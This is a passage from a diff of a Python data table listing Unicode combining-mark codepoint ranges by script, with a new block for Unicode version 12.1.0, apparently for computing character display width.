0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d00, 0x00d01,), # Malayalam Sign Combining..Malayalam Sign Candrabin + (0x00d3b, 0x00d3c,), # Malayalam Sign Vertical ..Malayalam Sign Circular + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00ebc,), # Lao Vowel Sign I ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x01885, 0x01886,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01abe,), # Combining Doubled Circum..Combining Parentheses Ov + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df9,), # Combining Dotted Grave A..Combining Wide Inverted + (0x01dfb, 0x01dff,), # Combining Deletion Mark ..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69e, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c5,), # Saurashtra Sign Virama ..Saurashtra Sign Candrabi + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a8ff, 0x0a8ff,), # Devanagari Vowel Sign Ay..Devanagari Vowel Sign Ay + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bd,), # Javanese Vowel Sign Pepe..Javanese Consonant Sign + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2f,), # Combining Ligature Left ..Combining Cyrillic Titlo + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x10d24, 0x10d27,), # Hanifi Rohingya Sign Har..Hanifi Rohingya Sign Tas + (0x10f46, 0x10f50,), # Sogdian Combining Dot Be..Sogdian Combining Stroke + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x111c9, 0x111cc,), # Sharada Sandhi Mark ..Sharada Extra Short Vowe + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x1123e, 0x1123e,), # Khojki Sign Sukun ..Khojki Sign Sukun + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11300, 0x11301,), # Grantha Sign Combining A..Grantha Sign Candrabindu + (0x1133b, 0x1133c,), # Combining Bindu Below ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x11438, 0x1143f,), # Newa Vowel Sign U ..Newa Vowel Sign Ai + (0x11442, 0x11444,), # Newa Sign Virama ..Newa Sign Anusvara + (0x11446, 0x11446,), # Newa Sign Nukta ..Newa Sign Nukta + (0x1145e, 0x1145e,), # Newa Sandhi Mark ..Newa Sandhi Mark + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x115dc, 0x115dd,), # Siddham Vowel Sign Alter..Siddham Vowel Sign Alter + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x1171d, 0x1171f,), # Ahom Consonant Sign Medi..Ahom Consonant Sign Medi + (0x11722, 0x11725,), # Ahom Vowel Sign I ..Ahom Vowel Sign Uu + (0x11727, 0x1172b,), # Ahom Vowel Sign Aw ..Ahom Sign Killer + (0x1182f, 0x11837,), # Dogra Vowel Sign U ..Dogra Sign Anusvara + (0x11839, 0x1183a,), # Dogra Sign Virama ..Dogra Sign Nukta + (0x119d4, 0x119d7,), # Nandinagari Vowel Sign U..Nandinagari Vowel Sign V + (0x119da, 0x119db,), # Nandinagari Vowel Sign E..Nandinagari Vowel Sign A + (0x119e0, 0x119e0,), # Nandinagari Sign Virama ..Nandinagari Sign Virama + (0x11a01, 0x11a0a,), # Zanabazar Square Vowel S..Zanabazar Square Vowel L + (0x11a33, 0x11a38,), # Zanabazar Square Final C..Zanabazar Square Sign An + (0x11a3b, 0x11a3e,), # Zanabazar Square Cluster..Zanabazar Square Cluster + (0x11a47, 0x11a47,), # Zanabazar Square Subjoin..Zanabazar Square Subjoin + (0x11a51, 0x11a56,), # Soyombo Vowel Sign I ..Soyombo Vowel Sign Oe + (0x11a59, 0x11a5b,), # Soyombo Vowel Sign Vocal..Soyombo Vowel Length Mar + (0x11a8a, 0x11a96,), # Soyombo Final Consonant ..Soyombo Sign Anusvara + (0x11a98, 0x11a99,), # Soyombo Gemination Mark ..Soyombo Subjoiner + (0x11c30, 0x11c36,), # Bhaiksuki Vowel Sign I ..Bhaiksuki Vowel Sign Voc + (0x11c38, 0x11c3d,), # Bhaiksuki Vowel Sign E ..Bhaiksuki Sign Anusvara + (0x11c3f, 0x11c3f,), # Bhaiksuki Sign Virama ..Bhaiksuki Sign Virama + (0x11c92, 0x11ca7,), # Marchen Subjoined Letter..Marchen Subjoined Letter + (0x11caa, 0x11cb0,), # Marchen Subjoined Letter..Marchen Vowel Sign Aa + (0x11cb2, 0x11cb3,), # Marchen Vowel Sign U ..Marchen Vowel Sign E + (0x11cb5, 0x11cb6,), # Marchen Sign Anusvara ..Marchen Sign Candrabindu + (0x11d31, 0x11d36,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3a, 0x11d3a,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3c, 0x11d3d,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3f, 0x11d45,), # Masaram Gondi Vowel Sign..Masaram Gondi Virama + (0x11d47, 0x11d47,), # Masaram Gondi Ra-kara ..Masaram Gondi Ra-kara + (0x11d90, 0x11d91,), # Gunjala Gondi Vowel Sign..Gunjala Gondi Vowel Sign + (0x11d95, 0x11d95,), # Gunjala Gondi Sign Anusv..Gunjala Gondi Sign Anusv + (0x11d97, 0x11d97,), # Gunjala Gondi Virama ..Gunjala Gondi Virama + (0x11ef3, 0x11ef4,), # Makasar Vowel Sign I ..Makasar Vowel Sign U + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f4f, 0x16f4f,), # Miao Sign Consonant Modi..Miao Sign Consonant Modi + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1da00, 0x1da36,), # Signwriting Head Rim ..Signwriting Air Sucking + (0x1da3b, 0x1da6c,), # Signwriting Mouth Closed..Signwriting Excitement + (0x1da75, 0x1da75,), # Signwriting Upper Body T..Signwriting Upper Body T + (0x1da84, 0x1da84,), # Signwriting Location Hea..Signwriting Location Hea + (0x1da9b, 0x1da9f,), # Signwriting Fill Modifie..Signwriting Fill Modifie + (0x1daa1, 0x1daaf,), # Signwriting Rotation Mod..Signwriting Rotation Mod + (0x1e000, 0x1e006,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e008, 0x1e018,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e01b, 0x1e021,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e023, 0x1e024,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e026, 0x1e02a,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e130, 0x1e136,), # Nyiakeng Puachue Hmong T..Nyiakeng Puachue Hmong T + (0x1e2ec, 0x1e2ef,), # Wancho Tone Tup ..Wancho Tone Koini + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0x1e944, 0x1e94a,), # Adlam Alif Lengthener ..Adlam Nukta + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '12.1.0': ( + # Source: DerivedGeneralCategory-12.1.0.txt + # Date: 2019-03-10, 10:53:08 GMT + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x007fd, 0x007fd,), # Nko Dantayalan ..Nko Dantayalan + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008d3, 0x008e1,), # Arabic Small Low Waw ..Arabic Small High Sign S + (0x008e3, 0x00902,), # Arabic Turned Damma Belo..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x009fe, 0x009fe,), # Bengali Sandhi Mark ..Bengali Sandhi Mark + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00afa, 0x00aff,), # Gujarati Sign Sukun ..Gujarati Sign Two-circle + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c04, 0x00c04,), # Telugu Sign Combining An..Telugu Sign Combining An + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d00, 0x00d01,), # Malayalam Sign Combining..Malayalam Sign Candrabin + (0x00d3b, 0x00d3c,), # Malayalam Sign Vertical ..Malayalam Sign Circular + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai 